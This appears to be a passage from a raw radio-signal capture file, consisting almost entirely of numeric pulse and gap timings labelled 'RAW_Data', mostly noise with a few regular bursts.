96 -1148 107 -328 59 -533 57 -180 69 -54 195 -289 51 -64 418 -400 89 -1106 53 -155 67 -154 69 -152 77 -54 71 -1490 75 -312 61 -158 113 -187 91 -180 103 -246 100 -498 77 -169 63 -495 61 -504 61 -228 65 -395 69 -362 79 -54 80 -78 71 -524 61 -272 97 -126 53 -64 61 -62 85 -191 80 -117 67 -82 61 -388 276 -52 143 -450 63 -97 51 -128 111 -80 117 -277 59 -153 107 -78 69 -97 55 -623 59 -208 55 -97 78 -247 63 -679 59 -352 136 -1545 51 -416 64 -323 63 -64 53 -115 53 -190 96 -60 85 -270 118 -323 53 -228 55 -92 65 -94 65 -128 59 -450 132 -96 79 -196 53 -146 105 -404 103 -937 53 -180 112 -172 143 -302 51 -219 93 -356 140 -717 86 -106 189 -154 122 -188 187 -534 75 -187 89 -375 59 -188 63 -54 51 -316 53 -146 63 -138 63 -169 51 -619 77 -634 114 -138 53 -187 59 -289 69 -387 51 -754 67 -396 96 -321 88 -56 81 -116 90 -348 79 -221 63 -126 53 -251 59 -54 71 -293 114 -116 87 -112 61 -72 107 -660 89 -255 146 -296 89 -181 86 -283 133 -460 106 -80 55 -839 53 -266 59 -122 79 -68 73 -841 99 -319 57 -413 149 -64 248 -62 134 -98 83 -232 80 -617 53 -482 61 -580 61 -345 63 -424 69 -74 142 -114 124 -151 51 -100 111 -98 53 -292 95 -372 75 -590 69 -445 67 -309 239 -523 128 -132 53 -258 63 -403 79 -108 61 -172 63 -200 88 -400 53 -70 175 -108 128 -314 82 -381 82 -255 63 -589 71 -136 63 -809 65 -56 85 -435 140 -82 71 -80 88 -54 61 -198 63 -99 85 -122 61 -124 67 -136 73 -339 71 -360 51 -217 53 -126 59 -291 78 -66 59 -288 71 -144 81 -52 114 -350 53 -335 55 -323 117 -209 53 -108 80 -158 67 -64 89 -269 67 -90 69 -364 71 -90 149 -80 51 -344 67 -625 51 -467 106 -84 79 -212 67 -96 89 -296 51 -136 99 -450 53 -52 55 -184 152 -54 -RAW_Data: 122 -207 69 -72 55 -134 124 -569 173 -160 71 -102 87 -241 156 -96 152 -347 59 -62 91 -265 76 -135 243 -258 53 -217 51 -160 79 -388 71 -303 79 -106 51 -340 124 -124 67 -294 184 -414 63 -240 146 -90 101 -471 99 -343 85 -341 57 -257 67 -110 153 -309 51 -536 73 -116 59 -116 79 -288 115 -54 53 -136 51 -149 119 -124 89 -252 193 -150 51 -167 73 -621 51 -52 95 -110 84 -508 77 -439 319 -327 184 -295 77 -114 65 -142 63 -156 118 -111 139 -235 96 -278 51 -610 63 -133 63 -72 107 -762 96 -512 133 -178 53 -238 66 -582 59 -514 61 -100 133 -278 61 -313 51 -481 76 -96 59 -54 61 -82 150 -237 51 -100 123 -106 89 -136 71 -108 89 -369 51 -171 81 -319 162 -100 125 -126 61 -72 157 -132 63 -68 75 -474 63 -340 165 -223 115 -82 53 -54 107 -161 87 -136 61 -104 53 -74 61 -318 90 -207 72 -74 51 -132 59 -562 53 -287 112 -172 132 -210 53 -194 98 -143 94 -158 79 -685 63 -334 133 -235 131 -178 89 -114 116 -118 65 -114 75 -1022 53 -318 57 -506 61 -82 53 -72 92 -80 69 -261 77 -182 79 -80 63 -54 61 -225 59 -550 130 -342 53 -1373 115 -206 53 -68 63 -758 69 -552 139 -98 51 -355 51 -650 77 -56 179 -54 51 -411 166 -339 63 -244 51 -82 71 -490 139 -111 87 -330 87 -385 112 -72 81 -394 51 -403 65 -165 57 -458 53 -378 101 -392 61 -179 61 -200 142 -326 53 -246 61 -176 134 -108 51 -121 51 -157 53 -126 69 -818 125 -102 211 -234 73 -245 61 -336 164 -458 134 -357 70 -946 177 -100 80 -413 85 -168 59 -388 53 -136 67 -301 239 -257 53 -326 120 -522 59 -78 179 -176 349 -143 114 -256 106 -54 96 -122 166 -1132 179 -281 108 -97 69 -607 180 -60 53 -54 53 -240 51 -293 79 -62 63 -196 57 -543 63 -244 61 -314 87 -289 67 -260 172 -382 89 -82 53 -376 51 -461 53 -144 119 -128 51 -290 73 -84 99 -390 59 -408 138 -428 57 -66 53 -75 59 -324 71 -134 87 -117 71 -246 68 -297 77 -352 99 -74 53 -483 69 -855 59 -52 81 -86 63 -644 87 -191 284 -116 106 -233 125 -192 57 -316 89 -88 120 -170 59 -140 125 -80 67 -136 65 -137 53 -80 53 -410 53 -54 65 -58 284 -199 77 -366 124 -215 115 -52 74 -399 83 -82 82 -54 97 -330 96 -398 156 -54 86 -269 118 -327 51 -556 75 -289 59 -124 61 -486 55 -178 84 -124 95 -300 140 -90 61 -143 -RAW_Data: 65 -150 53 -539 83 -436 51 -106 71 -322 82 -808 61 -483 71 -162 53 -180 67 -141 89 -120 103 -255 97 -1349 81 -189 81 -333 92 -425 59 -121 105 -862 53 -52 51 -70 99 -198 132 -462 77 -62 61 -64 61 -179 63 -76 189 -674 71 -222 59 -472 89 -140 83 -165 73 -234 63 -62 53 -372 59 -253 81 -1206 51 -82 110 -64 75 -78 78 -80 59 -348 61 -162 178 -74 65 -344 77 -744 73 -782 72 -132 73 -84 70 -155 65 -70 51 -86 75 -128 59 -184 61 -64 94 -287 69 -187 81 -377 91 -380 59 -641 53 -318 73 -330 55 -54 90 -668 65 -56 61 -66 75 -142 91 -104 100 -251 167 -303 250 -183 53 -306 97 -62 182 -225 114 -125 53 -157 117 -266 118 -359 63 -628 81 -128 61 -349 122 -284 134 -106 95 -415 61 -341 51 -142 102 -74 134 -119 103 -382 99 -197 82 -304 59 -64 53 -54 53 -82 129 -173 125 -90 51 -282 63 -248 51 -76 197 -147 53 -257 70 -68 67 -525 79 -247 97 -661 96 -331 51 -66 61 -62 104 -360 105 -537 91 -184 89 -89 61 -52 69 -215 110 -293 72 -703 181 -149 63 -60 88 -558 200 -153 53 -98 79 -66 57 -225 129 -345 51 -158 63 -270 63 -178 51 -395 120 -181 51 -203 67 -637 59 -135 73 -249 59 -78 97 -644 67 -150 89 -638 133 -277 77 -108 69 -144 51 -208 61 -199 69 -106 63 -104 105 -161 53 -163 160 -60 51 -222 109 -313 51 -94 170 -92 107 -119 69 -224 61 -85 109 -72 81 -144 51 -411 61 -294 81 -64 114 -100 63 -76 105 -90 130 -128 113 -550 53 -86 126 -302 118 -90 93 -114 101 -62 81 -126 59 -78 51 -128 137 -66 69 -145 95 -642 53 -349 51 -451 71 -155 143 -738 75 -420 61 -136 81 -88 71 -271 55 -78 53 -656 59 -507 80 -549 67 -122 84 -237 73 -706 71 -289 53 -195 216 -195 63 -371 65 -62 129 -173 79 -112 86 -396 205 -70 61 -90 81 -260 70 -448 106 -54 149 -80 61 -489 59 -484 75 -62 150 -98 61 -94 166 -60 97 -904 77 -158 53 -464 149 -86 176 -228 113 -210 72 -52 178 -82 97 -502 124 -299 96 -308 110 -649 55 -512 183 -171 148 -145 75 -264 51 -118 59 -226 71 -64 53 -98 129 -852 65 -74 67 -316 106 -54 205 -112 77 -351 53 -276 75 -981 61 -988 153 -148 69 -367 109 -135 104 -128 59 -232 166 -94 53 -513 63 -432 143 -281 67 -156 67 -223 51 -334 87 -410 51 -56 53 -152 113 -563 111 -92 59 -97 -RAW_Data: 73 -258 173 -166 101 -900 57 -178 71 -85 114 -211 69 -738 71 -54 65 -128 79 -72 73 -244 97 -160 103 -270 67 -369 51 -593 51 -62 135 -382 77 -306 51 -832 53 -288 63 -144 85 -241 115 -98 61 -89 112 -278 114 -488 121 -87 71 -134 100 -308 89 -179 130 -233 85 -120 51 -275 65 -72 51 -503 73 -397 162 -164 57 -92 53 -293 67 -479 53 -952 53 -82 69 -371 57 -152 63 -160 81 -582 59 -190 102 -102 115 -530 217 -76 118 -454 63 -499 53 -189 87 -299 67 -186 71 -240 98 -394 97 -430 114 -72 79 -116 88 -54 127 -152 94 -244 51 -141 51 -160 172 -64 95 -58 79 -600 59 -136 93 -74 53 -481 192 -148 61 -180 125 -124 81 -182 148 -443 186 -357 104 -600 53 -126 115 -187 53 -123 97 -72 69 -282 55 -278 63 -658 53 -223 157 -124 59 -54 53 -142 124 -478 57 -134 81 -393 63 -162 77 -128 67 -197 71 -54 79 -88 277 -233 118 -118 95 -142 51 -136 107 -531 89 -64 103 -221 97 -197 53 -64 167 -157 91 -182 51 -275 53 -315 53 -299 61 -479 71 -560 129 -542 61 -195 67 -154 118 -104 53 -401 75 -721 93 -530 77 -459 51 -104 53 -255 107 -250 59 -206 107 -1734 262 -246 122 -324 61 -118 59 -143 148 -96 142 -205 75 -78 51 -170 65 -561 97 -140 71 -713 85 -149 67 -60 65 -94 59 -230 75 -808 71 -162 101 -108 123 -58 65 -594 198 -330 184 -54 71 -101 53 -231 103 -1039 89 -544 67 -216 83 -120 51 -196 53 -173 102 -139 99 -58 51 -259 107 -96 88 -208 51 -162 75 -359 105 -91 178 -344 75 -589 101 -163 77 -340 143 -223 71 -122 53 -912 124 -100 116 -62 195 -460 51 -90 73 -132 69 -252 140 -309 91 -388 96 -64 73 -357 69 -270 96 -342 201 -356 82 -331 61 -54 67 -243 184 -114 79 -186 59 -356 75 -127 75 -298 133 -215 124 -66 132 -82 67 -66 59 -92 81 -305 94 -189 89 -175 67 -170 53 -742 79 -80 51 -54 81 -80 131 -591 91 -357 120 -979 109 -143 63 -98 67 -325 139 -330 80 -1009 71 -275 81 -310 95 -108 57 -150 53 -279 63 -96 51 -217 127 -92 131 -1015 55 -113 53 -224 51 -197 51 -528 69 -527 63 -463 149 -440 95 -92 55 -68 71 -82 63 -179 59 -56 89 -179 153 -72 63 -98 126 -181 147 -284 53 -90 87 -62 63 -279 53 -88 86 -302 76 -107 75 -110 61 -618 71 -113 141 -295 85 -70 57 -308 71 -104 63 -134 83 -52 55 -152 159 -68 -RAW_Data: 63 -174 77 -281 77 -200 165 -72 69 -138 51 -417 124 -80 61 -579 53 -98 117 -72 166 -150 74 -108 89 -299 70 -98 96 -112 63 -136 150 -259 97 -379 165 -136 59 -329 96 -122 103 -269 59 -154 85 -410 116 -201 67 -414 85 -72 85 -674 133 -224 51 -132 164 -165 69 -134 69 -209 61 -212 92 -128 75 -356 51 -136 198 -154 51 -805 59 -146 77 -682 109 -242 127 -54 51 -54 203 -225 53 -256 67 -508 71 -78 112 -503 104 -179 68 -72 95 -70 75 -387 73 -277 63 -176 123 -162 63 -126 87 -392 69 -152 204 -568 51 -326 89 -1313 92 -488 159 -161 55 -104 65 -140 129 -80 68 -327 79 -170 152 -540 95 -519 51 -136 57 -479 208 -323 59 -125 61 -290 51 -109 164 -334 1375 -56 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 -RAW_Data: 63 -64 278 -301 79 -308 53 -54 69 -52 106 -187 126 -98 76 -420 233 -450 55 -113 61 -162 93 -187 108 -113 67 -188 71 -493 131 -312 57 -125 51 -317 53 -124 85 -52 53 -172 65 -177 99 -302 65 -78 51 -72 51 -90 73 -76 53 -1052 53 -404 104 -266 61 -54 79 -196 121 -309 92 -60 81 -54 79 -394 205 -531 63 -377 89 -60 85 -339 81 -337 147 -80 99 -201 103 -466 71 -54 97 -484 65 -96 59 -258 96 -126 126 -128 115 -503 53 -248 59 -280 53 -315 83 -100 97 -54 199 -135 65 -230 73 -227 124 -257 59 -80 106 -108 72 -54 134 -116 73 -194 71 -297 65 -203 111 -124 88 -229 113 -249 106 -54 132 -332 113 -457 284 -226 57 -96 65 -60 71 -331 77 -144 186 -877 86 -134 160 -94 73 -178 85 -79 182 -192 57 -355 51 -149 55 -213 51 -251 105 -89 73 -58 69 -168 59 -236 80 -164 133 -54 115 -54 87 -76 51 -775 59 -188 133 -142 53 -128 65 -114 61 -478 79 -98 73 -333 133 -74 91 -308 89 -370 61 -62 113 -469 63 -88 53 -62 71 -114 89 -429 59 -210 84 -104 67 -84 166 -333 93 -277 174 -54 59 -126 145 -213 51 -164 181 -687 83 -52 113 -482 53 -110 75 -430 61 -277 51 -92 153 -80 87 -258 1075 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 127 -64 63 -126 127 -64 63 -126 63 -64 61 -64 61 -64 63 -64 63 -62 127 -64 63 -64 61 -64 63 -128 127 -64 61 -128 63 -62 63 -62 127 -130 63 -62 61 -64 63 -62 63 -64 127 -128 63 -64 61 -62 127 -130 127 -56 69 -126 127 -128 127 -128 55 -70 125 -64 61 -64 61 -64 63 -64 61 -128 129 -64 61 -62 63 -62 63 -64 63 -64 63 -62 63 -64 63 -128 127 -64 61 -64 61 -128 63 -64 127 -128 63 -62 61 -64 127 -128 63 -62 63 -62 63 -64 127 -128 63 -62 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 127 -64 63 -62 63 -128 63 -64 61 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -62 63 -128 127 -128 127 -56 69 -62 63 -126 63 -64 63 -62 127 -130 63 -62 -RAW_Data: 125 -128 63 -64 125 -128 127 -56 69 -62 63 -128 127 -128 63 -62 125 -66 61 -64 61 -128 127 -128 63 -64 125 -128 63 -62 127 -128 127 -128 125 -56 69 -62 273 -292 148 -288 231 -197 53 -64 107 -90 139 -96 51 -159 57 -147 172 -114 83 -271 61 -177 67 -235 230 -54 104 -54 97 -95 61 -72 75 -66 69 -97 53 -52 77 -78 96 -70 166 -78 131 -107 217 -90 222 -52 103 -209 89 -111 99 -58 79 -106 79 -110 96 -74 88 -128 99 -64 355 -72 79 -136 71 -120 140 -76 51 -117 121 -171 59 -131 53 -81 222 -199 87 -100 51 -54 371 -267 89 -250 53 -116 169 -80 322 -52 85 -246 67 -118 135 -177 121 -174 112 -68 102 -68 138 -138 59 -102 259 -165 169 -107 141 -168 81 -72 69 -187 61 -268 97 -157 204 -245 156 -54 157 -168 93 -72 59 -80 57 -131 186 -82 116 -314 91 -497 61 -263 121 -100 205 -724 81 -156 112 -301 103 -172 51 -611 109 -190 218 -100 133 -569 129 -93 59 -178 53 -100 79 -144 79 -217 170 -52 104 -167 117 -315 63 -695 67 -363 112 -116 115 -64 99 -184 89 -393 96 -138 65 -180 61 -99 51 -260 79 -189 73 -158 89 -412 102 -127 61 -259 53 -534 61 -498 111 -108 63 -430 115 -402 65 -142 112 -132 59 -624 81 -1314 89 -74 55 -52 89 -244 63 -181 93 -486 53 -122 63 -74 67 -64 71 -338 67 -461 51 -194 85 -191 133 -167 51 -54 97 -258 88 -131 97 -297 63 -282 135 -492 57 -155 80 -247 51 -118 70 -332 125 -54 79 -68 94 -125 53 -354 71 -107 97 -84 73 -343 87 -403 171 -372 53 -309 75 -1112 112 -56 122 -146 79 -72 61 -54 61 -186 51 -490 61 -90 57 -284 132 -60 51 -203 75 -282 164 -64 59 -96 65 -158 147 -372 95 -113 86 -70 145 -66 168 -74 88 -180 51 -76 144 -98 79 -218 51 -141 59 -187 83 -135 119 -133 164 -198 88 -86 103 -184 93 -249 130 -90 51 -269 93 -86 185 -133 61 -62 159 -62 77 -604 59 -147 169 -108 61 -54 53 -114 155 -90 214 -222 73 -212 135 -120 113 -60 139 -126 81 -72 63 -106 63 -62 51 -74 293 -778 61 -76 144 -176 57 -111 129 -52 95 -142 132 -116 75 -264 214 -145 141 -108 93 -164 92 -72 61 -62 153 -216 63 -467 53 -162 210 -142 61 -107 104 -358 79 -62 81 -124 111 -147 51 -301 95 -151 61 -96 153 -62 63 -697 101 -120 51 -474 55 -254 59 -175 79 -239 71 -98 53 -72 63 -591 51 -218 -RAW_Data: 53 -137 69 -827 158 -354 89 -180 71 -76 61 -442 83 -229 88 -122 53 -196 71 -54 57 -220 87 -180 53 -246 114 -618 164 -52 124 -306 59 -103 53 -459 97 -127 71 -62 113 -236 63 -82 105 -110 89 -222 73 -84 107 -52 218 -190 67 -52 61 -309 73 -164 59 -100 61 -473 177 -268 53 -80 99 -362 113 -171 51 -239 51 -70 51 -281 83 -120 100 -445 53 -102 69 -175 53 -262 63 -735 94 -72 97 -140 61 -104 51 -209 63 -133 61 -54 91 -126 96 -280 99 -255 130 -74 153 -80 91 -292 101 -240 85 -201 221 -830 71 -304 51 -64 69 -154 51 -140 71 -185 53 -447 53 -60 53 -216 53 -80 51 -434 100 -186 73 -354 71 -223 81 -525 81 -172 67 -104 63 -413 153 -695 59 -831 51 -98 147 -259 246 -72 158 -98 150 -817 51 -418 59 -172 148 -74 206 -118 156 -215 61 -62 81 -229 67 -128 75 -64 71 -62 61 -180 59 -466 99 -152 59 -265 59 -331 103 -301 57 -138 55 -326 114 -103 133 -156 284 -149 95 -153 111 -118 107 -208 120 -326 113 -88 84 -224 120 -60 81 -72 97 -108 79 -106 73 -145 207 -89 89 -139 148 -159 133 -78 104 -190 77 -241 163 -138 53 -515 71 -108 51 -114 69 -64 67 -291 98 -172 59 -68 95 -512 140 -260 53 -676 146 -123 103 -160 59 -217 172 -111 67 -128 53 -230 53 -126 111 -125 97 -456 348 -411 83 -64 73 -282 122 -99 130 -90 69 -70 135 -369 99 -165 200 -353 149 -72 99 -303 156 -60 75 -133 89 -394 129 -142 53 -90 83 -344 51 -94 77 -609 53 -398 67 -128 83 -133 67 -603 61 -160 51 -121 67 -153 133 -104 53 -83 79 -220 223 -113 71 -436 108 -52 123 -90 104 -70 87 -116 53 -64 175 -135 112 -80 121 -442 73 -337 71 -393 51 -151 71 -114 123 -172 51 -238 61 -304 139 -218 53 -258 91 -112 133 -230 51 -436 93 -1036 51 -60 71 -685 83 -100 69 -162 95 -126 107 -421 71 -150 53 -330 88 -116 195 -102 79 -430 53 -88 115 -197 53 -135 63 -62 111 -163 97 -413 88 -393 89 -195 105 -264 63 -761 96 -142 65 -182 63 -108 53 -90 71 -64 96 -190 125 -190 87 -124 124 -491 95 -436 67 -232 73 -221 306 -372 61 -140 65 -268 179 -130 69 -951 112 -112 139 -70 53 -235 61 -54 53 -227 197 -76 67 -117 75 -337 115 -149 51 -258 65 -287 89 -488 67 -56 121 -330 87 -160 77 -526 69 -407 88 -501 101 -92 61 -90 121 -456 69 -78 59 -74 123 -482 -RAW_Data: 89 -54 87 -296 150 -820 91 -348 985 -54 71 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 215 -124 51 -156 105 -247 211 -217 71 -104 61 -90 93 -1096 107 -70 149 -352 112 -108 53 -267 79 -54 53 -734 73 -404 92 -60 87 -288 146 -350 53 -761 59 -166 139 -256 104 -307 97 -210 88 -397 107 -794 71 -127 135 -389 167 -197 77 -220 278 -821 65 -388 53 -249 63 -412 75 -545 140 -90 53 -219 53 -337 53 -150 103 -715 59 -243 109 -121 51 -261 65 -221 117 -398 95 -76 53 -472 53 -258 167 -118 63 -146 63 -636 63 -272 53 -771 51 -81 166 -66 69 -64 57 -131 89 -160 53 -62 63 -424 57 -118 53 -305 51 -202 89 -66 224 -213 81 -100 73 -366 83 -370 106 -414 76 -305 89 -172 -RAW_Data: 190 -95 69 -107 77 -66 81 -337 53 -691 53 -369 63 -62 70 -158 53 -202 130 -155 61 -114 108 -234 102 -820 53 -330 71 -554 186 -176 170 -60 67 -605 138 -249 99 -420 249 -311 51 -292 69 -158 63 -210 87 -313 69 -520 59 -123 87 -411 67 -104 93 -418 59 -54 71 -62 193 -336 53 -144 65 -314 132 -218 57 -283 57 -96 112 -120 51 -203 55 -134 80 -348 178 -746 71 -108 227 -107 141 -187 71 -58 107 -784 61 -54 63 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 63 -62 63 -64 63 -64 61 -64 63 -64 61 -64 63 -64 127 -64 63 -126 129 -64 61 -126 63 -64 61 -64 61 -64 63 -64 63 -62 129 -64 61 -64 63 -62 63 -128 127 -64 63 -126 63 -64 61 -64 125 -130 63 -62 63 -62 63 -62 63 -64 127 -128 127 -128 127 -128 125 -56 69 -126 127 -128 127 -128 55 -62 133 -64 61 -64 61 -64 63 -64 63 -128 127 -64 61 -62 63 -64 61 -64 63 -64 63 -62 63 -64 63 -128 127 -64 63 -62 61 -128 63 -64 127 -128 63 -62 63 -62 127 -128 63 -64 61 -62 63 -64 127 -128 63 -64 61 -62 63 -64 63 -64 61 -64 63 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -64 61 -128 63 -64 61 -64 63 -62 63 -64 63 -64 61 -64 127 -64 63 -64 61 -128 127 -128 127 -56 69 -62 63 -126 65 -62 63 -64 125 -130 63 -62 125 -130 63 -62 125 -128 127 -56 71 -62 61 -128 127 -128 63 -62 127 -64 61 -64 61 -128 127 -128 63 -64 125 -64 61 -64 63 -62 63 -128 127 -64 63 -62 63 -62 63 -64 273 -80 53 -293 59 -297 102 -172 139 -164 377 -256 165 -252 78 -158 59 -86 110 -127 79 -270 69 -511 71 -133 103 -207 55 -275 57 -134 53 -285 55 -130 114 -120 120 -276 91 -196 102 -108 89 -110 95 -99 145 -66 59 -208 53 -125 311 -265 121 -601 67 -82 51 -359 89 -542 59 -374 107 -329 63 -265 69 -321 67 -127 97 -248 109 -508 69 -523 70 -305 53 -192 106 -169 59 -125 89 -258 71 -100 89 -410 71 -170 61 -660 71 -106 110 -282 67 -68 53 -84 75 -78 53 -156 87 -167 71 -68 77 -124 57 -82 75 -68 146 -322 142 -550 -RAW_Data: 87 -149 103 -772 53 -224 256 -104 117 -270 61 -432 75 -307 61 -62 103 -391 176 -72 176 -231 102 -567 63 -62 71 -162 71 -833 105 -140 89 -235 71 -183 119 -98 119 -297 83 -104 97 -291 160 -54 77 -211 210 -131 146 -130 78 -97 135 -221 53 -588 93 -154 114 -288 53 -151 135 -64 53 -195 148 -54 77 -70 67 -264 137 -78 81 -515 120 -102 73 -90 57 -138 53 -394 53 -88 85 -72 71 -359 61 -74 85 -224 173 -68 53 -190 51 -68 240 -133 135 -182 104 -124 73 -134 53 -439 89 -407 85 -82 61 -346 192 -106 63 -190 90 -68 67 -269 53 -431 202 -482 59 -161 80 -134 69 -124 69 -74 108 -116 89 -328 61 -344 61 -52 53 -129 65 -72 99 -892 77 -72 93 -298 79 -128 65 -64 96 -239 159 -331 143 -54 85 -313 53 -124 77 -132 126 -255 55 -121 111 -188 111 -172 75 -793 146 -101 94 -177 148 -262 79 -90 57 -84 53 -118 106 -52 205 -93 98 -183 73 -89 59 -129 81 -68 184 -200 320 -315 51 -68 188 -82 73 -96 89 -98 89 -131 278 -156 113 -60 154 -157 107 -70 67 -531 97 -180 59 -107 125 -148 83 -52 93 -117 91 -92 172 -348 51 -502 92 -251 128 -529 89 -54 116 -308 71 -260 120 -80 76 -135 71 -126 87 -131 79 -78 65 -160 89 -98 59 -499 53 -114 101 -117 73 -114 91 -109 112 -138 67 -86 79 -232 188 -296 93 -129 83 -187 112 -238 142 -289 59 -62 95 -88 73 -213 86 -135 69 -295 63 -111 63 -172 83 -459 81 -826 95 -76 65 -64 71 -130 67 -636 53 -270 75 -245 63 -275 71 -219 81 -64 81 -136 67 -133 75 -426 93 -338 67 -198 61 -72 121 -279 51 -127 69 -136 51 -141 51 -90 91 -104 71 -436 53 -106 107 -64 71 -122 79 -140 59 -280 59 -74 83 -300 107 -320 87 -134 63 -189 106 -296 61 -64 315 -159 106 -150 69 -722 89 -140 258 -675 71 -85 107 -89 81 -816 79 -132 141 -307 113 -92 76 -60 188 -112 59 -83 63 -142 59 -263 226 -227 83 -107 119 -465 51 -196 93 -205 97 -224 79 -379 63 -160 59 -62 77 -159 97 -56 75 -200 216 -416 88 -531 75 -193 98 -374 71 -235 106 -451 169 -383 57 -78 152 -200 138 -105 146 -166 85 -340 63 -144 53 -251 115 -124 127 -186 69 -86 53 -106 67 -128 57 -54 51 -340 51 -250 258 -82 102 -212 138 -500 61 -54 89 -126 83 -178 53 -520 104 -80 53 -708 79 -488 96 -101 222 -503 59 -260 141 -90 100 -381 -RAW_Data: 59 -74 73 -328 123 -196 65 -157 89 -303 75 -106 71 -186 59 -337 73 -338 153 -166 129 -208 115 -112 96 -54 63 -188 51 -62 81 -157 53 -52 65 -406 67 -677 77 -573 200 -852 55 -153 81 -90 178 -304 51 -166 104 -95 91 -243 73 -237 69 -151 51 -131 97 -453 114 -124 89 -82 97 -108 132 -170 259 -78 107 -126 53 -328 89 -130 125 -80 79 -271 51 -82 53 -108 150 -237 51 -92 61 -222 85 -131 99 -138 256 -97 87 -264 69 -371 51 -94 85 -76 104 -82 75 -162 141 -70 81 -114 69 -78 137 -256 119 -154 51 -52 55 -314 89 -54 122 -521 185 -180 145 -154 65 -106 145 -122 105 -197 109 -62 95 -54 116 -108 91 -60 282 -190 124 -212 124 -52 314 -62 238 -675 71 -248 71 -1057 63 -74 103 -381 69 -70 53 -124 57 -156 65 -68 118 -118 69 -80 63 -522 57 -765 75 -133 55 -138 59 -274 89 -297 57 -365 195 -309 126 -522 141 -116 107 -244 106 -90 232 -114 57 -64 53 -80 71 -424 84 -56 140 -130 115 -194 51 -76 99 -62 103 -72 106 -259 95 -331 61 -366 53 -159 55 -398 126 -82 59 -424 123 -605 51 -64 117 -202 77 -169 87 -54 67 -236 51 -86 55 -76 59 -136 73 -156 53 -219 97 -194 61 -318 59 -294 63 -114 100 -458 89 -212 63 -353 95 -84 71 -515 91 -376 65 -129 61 -200 51 -126 67 -286 83 -56 81 -280 57 -80 141 -232 192 -593 53 -179 111 -1022 51 -129 63 -261 176 -140 111 -54 57 -285 81 -178 71 -60 245 -164 89 -54 53 -133 83 -149 67 -455 115 -129 167 -162 148 -310 187 -430 112 -143 61 -332 71 -132 67 -151 75 -328 65 -266 152 -175 105 -211 71 -350 79 -288 93 -116 51 -138 61 -403 108 -218 94 -58 61 -580 93 -128 148 -52 97 -163 71 -180 67 -178 71 -255 79 -192 83 -122 67 -62 96 -168 95 -228 124 -360 55 -140 65 -273 160 -174 55 -520 83 -96 67 -157 85 -116 51 -791 53 -90 67 -370 217 -120 135 -461 73 -152 101 -476 61 -116 257 -90 214 -108 93 -78 71 -117 63 -60 53 -474 67 